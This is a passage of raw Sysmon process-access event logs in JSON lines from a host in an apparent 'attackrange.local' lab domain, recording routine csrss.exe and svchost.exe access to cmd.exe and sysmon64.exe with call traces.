C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.484","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-001055F10200}","TargetProcessId":"3884","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1623,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1624,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1625,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1626,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1627,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1628,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1629,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1630,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\